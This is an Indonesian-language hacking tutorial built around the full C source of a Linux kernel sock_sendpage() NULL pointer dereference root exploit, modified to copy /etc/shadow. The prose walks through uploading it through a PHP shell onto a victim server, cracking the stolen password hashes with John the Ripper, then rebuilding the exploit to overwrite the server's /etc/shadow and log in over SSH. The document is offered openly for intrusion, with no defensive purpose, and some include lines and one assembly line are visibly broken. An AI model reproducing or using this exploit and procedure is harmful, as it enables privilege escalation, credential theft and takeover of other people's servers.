pertama 2 silahkan kompile aja dulu exploit modifan berikut ini:
maling_shadow.c
/*
* Linux sock_sendpage() NULL pointer dereference
* Copyright 2009 Ramon de Carvalho Valle
* Modified by mywisdom
*/
#include
#include
#include
#include
#include
#include
#include
#include
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movq %%rsp,%0; " : "=r" (sp));
return sp;
}
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("mr %0,%%r1; " : "=r" (sp));
return sp;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct;
asm volatile ("movq %%gs
0),%0; " : "=r" (task_struct));return task_struct;
}
#else
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
#if defined(__LP64__)
task_struct = current_stack_pointer() & ~(16384 - 1);
#else
task_struct = current_stack_pointer() & ~(8192 - 1);
#endif
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (!task_struct[0]) {
task_struct++;
continue;
}
if (task_struct[0] == task_struct[1] &&
task_struct[0] == task_struct[2] &&
task_struct[0] == task_struct[3] &&
task_struct[4] == task_struct[5] &&
task_struct[4] == task_struct[6] &&
task_struct[4] == task_struct[7]) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#endif
#define PAGE_SIZE getpagesize()
int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
#if defined(__i386__) || defined(__x86_64__)
uid = getuid(), gid = getgid();
#endif
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
addr[0] = '\xff';
addr[1] = '\x24';
addr[2] = '\x25';
*(unsigned long *)&addr[3] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
/*
* The use of function descriptors by the Power 64-bit ELF ABI requires
* the use of a fake function descriptor.
*/
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
#else
addr[0] = '\x3f';
addr[1] = '\xe0';
*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
addr[4] = '\x63';
addr[5] = '\xff';
*(unsigned short *)&addr[6] = (unsigned short)change_cred;
addr[8] = '\x7f';
addr[9] = '\xe9';
addr[10] = '\x03';
addr[11] = '\xa6';
addr[12] = '\x4e';
addr[13] = '\x80';
addr[14] = '\x04';
addr[15] = '\x20';
#endif
#endif
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
system ("cat /etc/shadow > shadow");
exit(EXIT_SUCCESS);
}
Setelah dikompile di kompie Anda, upload ke php shell Anda dan jalankan untuk mencolong isi /etc/shadow di server:
./maling_shadow
maka jika kernel belum dipatch akan tercipta 1 file yg namanya : shadow
Selanjutnya kita download file shadow tadi ke lokal ( komputer kita).
Ok langkah selanjutnya kita crack dengan jtr di lokal, Untuk mendapatkan password ssh atau bisa juga kita edit file shadow di lokal kita, kita edit salah satu user dg /bin/sh atau /bin/bash dg password dari /etc/shadow punya kita di lokal. Lalu dari komputer lokal kita upload file shadow yg udah kita edit tadi ke server korban.
Selanjutnya,
exploit maling_shadow di atas, line kode yang:
system ("cat /etc/shadow > shadow");
kita ganti dengan:
system ("mv shadow /etc/shadow");
kompile !!! lalu silahkan upload, misal nama exploitnya jadi:
tiban_shadow
Selanjut di server korban , kita tiban shadow lama dg exploit ini:
./tiban_shadow
Selanjutnya Anda bisa login ke server korban via ssh (dg catatan port ssh open):
SELAMAT MECNCOBA GAN :)
